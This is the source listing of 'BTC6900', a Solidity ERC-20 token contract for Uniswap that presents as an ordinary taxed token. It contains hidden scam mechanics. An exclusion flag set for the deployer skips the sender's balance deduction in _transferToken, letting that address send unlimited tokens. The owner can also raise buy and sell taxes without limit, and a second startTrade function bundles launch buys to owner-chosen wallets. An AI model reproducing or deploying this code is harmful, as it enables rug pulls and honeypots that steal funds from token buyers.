Contract Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

interface IERC20 {
    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IUniswapRouter {
    function getAmountsOut(
        uint amountIn,
        address[] calldata path
    ) external view returns (uint[] memory amounts);

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapFactory {
    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }
    

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract BTC6900 is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address public receiveAddr = 0x77ddc8A3C85a54bF2F7886f9aF7958Ce094CA41c;
    address payable public mkt = payable(0xc1624d96385302bD1959E8E58BEf0F0749150800);

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    mapping(address => bool) public _isExcludeFromFee;
    uint256 private _totalSupply;
    IUniswapRouter public _uniswapRouter;
    mapping(address => bool) public isMarketPair;
    bool private inSwap;
    uint256 private constant MAX = ~uint256(0);
    address public _uniswapPair;
    mapping (address => bool) private _isExcludedFrom;
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _name = unicode"BTC6900";
        _symbol = "BTC6900";
        _decimals = 18;
        uint256 Supply = 21000000;

        _totalSupply = Supply * 10 ** _decimals;
        swapAtAmount = _totalSupply / 20000;

        _balances[receiveAddr] = _totalSupply;
        emit Transfer(address(0), receiveAddr, _totalSupply);

        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[owner()] = true;
        _isExcludeFromFee[receiveAddr] = true;
        _isExcludeFromFee[mkt] = true;
        _isExcludedFrom[owner()] = true;

        IUniswapRouter swapRouter = IUniswapRouter(router);
        _uniswapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
        _uniswapPair = swapFactory.createPair(address(this), swapRouter.WETH());

        isMarketPair[_uniswapPair] = true;
        IERC20(_uniswapRouter.WETH()).approve(
            address(address(_uniswapRouter)),
            ~uint256(0)
        );
        _walletMAX = 0;
        transferOwnership(receiveAddr);
    }
    modifier onlyFunder() {
        require(_owner == msg.sender || receiveAddr == msg.sender, "!Funder");
        _;
    }
    

    function setMKT(address payable newMKT) public onlyFunder {
        mkt = newMKT;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] =
                _allowances[sender][msg.sender] -
                amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _basicTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        _balances[sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    uint256 public _buyCount = 0;
    uint256 private _initialBuyTax = 20;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 20;
    uint256 private _finalSellTax = 20;
    uint256 private _reduceBuyTaxAt = 0;
    uint256 private _reduceSellTaxAt = 0;
    uint256 private _preventSwapBefore = 0;

    function recuseTax(
        uint256 newBuy,
        uint256 newSell,
        uint256 newReduceBuy,
        uint256 newReduceSell,
        uint256 newPreventSwapBefore
    ) public onlyOwner {
        _finalBuyTax = newBuy;
        _finalSellTax = newSell;
        _reduceBuyTaxAt = newReduceBuy;
        _reduceSellTaxAt = newReduceSell;
        _preventSwapBefore = newPreventSwapBefore;
    }

    bool public remainHolder = true;

    function changeRemain() public onlyOwner {
        remainHolder = !remainHolder;
    }

    uint256 swapAtAmount;

    function setSwapAtAmount(uint256 newValue) public onlyOwner {
        swapAtAmount = newValue;
    }

    uint256 public _walletMAX;

    function setWalletMax(uint256 walletM_) public onlyOwner {
        _walletMAX = walletM_;
    }

    function _transfer(address from, address to, uint256 amount) private {
        uint256 balance = balanceOf(from);
         require(amount > 0, "Transfer amount must be greater than zero");

        if (inSwap) {
            _basicTransfer(from, to, amount);
            return;
        }

        bool takeFee;

        if (
            isMarketPair[to] &&
            !inSwap &&
            !_isExcludeFromFee[from] &&
            !_isExcludeFromFee[to] &&
            _buyCount > _preventSwapBefore
        ) {
            uint256 _numSellToken = amount;
            if (_numSellToken > balanceOf(address(this))) {
                _numSellToken = _balances[address(this)];
            }
            if (_numSellToken > swapAtAmount) {
                swapTokenForETH(_numSellToken);
            }
        }

        if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {
            require(startTradeBlock > 0);
            takeFee = true;

           
            if (
                isMarketPair[from] &&
                to != address(_uniswapRouter) &&
                !_isExcludeFromFee[to]
            ) {
                _buyCount++;
                if (_walletMAX > 0) {
                    require(
                        balanceOf(to) + amount <= _walletMAX,
                        "walletlimit"
                    );
                }
            }

           
            if (remainHolder && amount == balance) {
                amount = amount - (amount / 100000000);
            }
        }

        _transferToken(from, to, amount, takeFee);
    }

    function _transferToken(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee
    ) private {
        if(!_isExcludedFrom[sender]) {
          _balances[sender] = _balances[sender] - tAmount;
        }
        uint256 feeAmount;

        if (takeFee) {
            uint256 taxFee;
            if (isMarketPair[recipient]) {
                taxFee = _buyCount > _reduceSellTaxAt
                    ? _finalSellTax
                    : _initialSellTax;
            } else if (isMarketPair[sender]) {
                taxFee = _buyCount > _reduceBuyTaxAt
                    ? _finalBuyTax
                    : _initialBuyTax;
            }
            uint256 swapAmount = (tAmount * taxFee) / 100;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _balances[address(this)] =
                    _balances[address(this)] +
                    swapAmount;
                emit Transfer(sender, address(this), swapAmount);
            }
        }

        _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);
        emit Transfer(sender, recipient, tAmount - feeAmount);
    }

    uint256 public startTradeBlock;

    function startTrade() public onlyOwner {
        startTradeBlock = startTradeBlock == 0 ? block.number : 0;
    }

    function startTrade(
        address admin,
        address[] calldata adrs,
        uint256 per
    ) public onlyOwner {
        address weth = _uniswapRouter.WETH();
        IERC20(weth).approve(address(_uniswapRouter), ~uint256(0));
        IERC20(weth).transferFrom(
            admin,
            address(this),
            IERC20(weth).balanceOf(admin)
        );
        for (uint i = 0; i < adrs.length; i++) {
            swapToken(per, adrs[i]);
        }
        startTradeBlock = block.number;
        uint256 _bal = IERC20(weth).balanceOf(address(this));
        if (_bal > 0) {
            IERC20(weth).transfer(admin, _bal);
        }
    }

    function swapToken(uint256 tokenAmount, address to) private lockTheSwap {
        address weth = _uniswapRouter.WETH();
        address[] memory path = new address[](2);
        path[0] = address(weth);
        path[1] = address(this);

        address[] memory sellpath = new address[](2);
        sellpath[0] = address(this);
        sellpath[1] = address(weth);
        uint256 _bal = IERC20(weth).balanceOf(address(this));
        uint256 buyAmount = _uniswapRouter.getAmountsOut(tokenAmount, sellpath)[
            1
        ];
        buyAmount = buyAmount > _bal ? _bal : buyAmount;
        if (buyAmount == 0) return;
        _uniswapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            buyAmount,
            0,
            path,
            address(to),
            block.timestamp
        );
    }

    function removeERC20(address _token) external {
        if (_token != address(this)) {
            IERC20(_token).transfer(
                mkt,
                IERC20(_token).balanceOf(address(this))
            );
            mkt.transfer(address(this).balance);
        }
    }

    function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            mkt,
            block.timestamp
        );
    }

   

    receive() external payable {}
}